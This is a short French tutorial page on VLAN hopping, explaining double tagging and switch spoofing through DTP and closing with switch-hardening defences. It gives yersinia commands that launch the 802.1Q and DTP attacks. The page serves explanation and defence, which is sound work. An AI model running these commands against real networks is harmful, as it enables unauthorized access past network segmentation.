VLAN Hopping — Contourner la segmentation

VLAN Switch

Qu'est-ce que le VLAN Hopping ?

Le VLAN Hopping permet à un attaquant d'envoyer du trafic vers un VLAN auquel il n'a normalement pas accès, contournant ainsi la segmentation réseau pensée pour isoler différents services ou départements.

Techniques d'exploitation

# Double Tagging : encapsuler deux en-têtes VLAN 802.1Q
# Le switch retire le premier tag (VLAN natif)
# Le second tag atteint le VLAN cible !
yersinia -G
yersinia 8021q -attack 1

# Switch Spoofing : se faire passer pour un switch
# via DTP (Dynamic Trunking Protocol) pour négocier
# un lien trunk et accéder à tous les VLANs
yersinia dtp -attack 1

Défenses

Désactiver DTP sur tous les ports d'accès (switchport nonegotiate) · Ne jamais utiliser le VLAN 1 (natif par défaut) pour du trafic utilisateur · Assigner explicitement chaque port à son VLAN · Filtrer le trafic entre VLANs avec des ACLs ou un firewall